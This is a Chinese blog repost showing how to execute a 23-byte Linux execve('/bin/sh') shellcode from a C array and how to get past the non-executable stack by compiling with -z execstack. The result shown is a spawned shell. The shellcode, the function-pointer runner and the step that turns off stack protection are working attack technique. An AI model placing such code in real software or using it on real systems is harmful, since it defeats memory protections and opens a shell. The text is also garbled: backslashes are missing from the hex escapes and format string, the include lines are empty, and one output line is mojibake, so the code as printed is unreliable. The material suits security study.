我是靠谱客的博主 独特音响,最近开发中收集的这篇文章主要介绍linux c语言shellcode,linux下执行shellcode,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

参考了其他文章。

C语言代码如下:

#include

#include

char sc[] =

"x31xc0"

"x50"

"x68x6ex2fx73x68"

"x68x2fx2fx62x69"

"x89xe3"

"x50"

"x53"

"x89xe1"

"xb0x0b"

"xcdx80";

int main()

{

void (*fp)(void) = (void (*)(void))sc;

printf("Length: %dn",strlen(sc));

fp();

}

上面的sc就是shellcode。源代码保存为execve.c,然后编译、连接。

[yang@localhost ~]$ gcc -o execve execve.c

[yang@localhost ~]$ ./execve

Length: 23

娈甸敊璇

[yang@localhost ~]$

结果如上,没有执行shellcode,怎么回事?我的gcc版本是4.3.0的。这个版本的gcc,编译出来的可执行文件的堆栈段,是不可执行的。

加上参数-z execstack就能变成可执行了。

[yang@localhost ~]$ gcc -z execstack -o execve execve.c

[yang@localhost ~]$ ./execve

Length: 23

sh-3.2$

获得了一个shell

最后

以上就是独特音响为你收集整理的linux c语言shellcode,linux下执行shellcode的全部内容,希望文章能够帮你解决linux c语言shellcode,linux下执行shellcode所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(29)

评论列表共有 0 条评论

立即
投稿
返回
顶部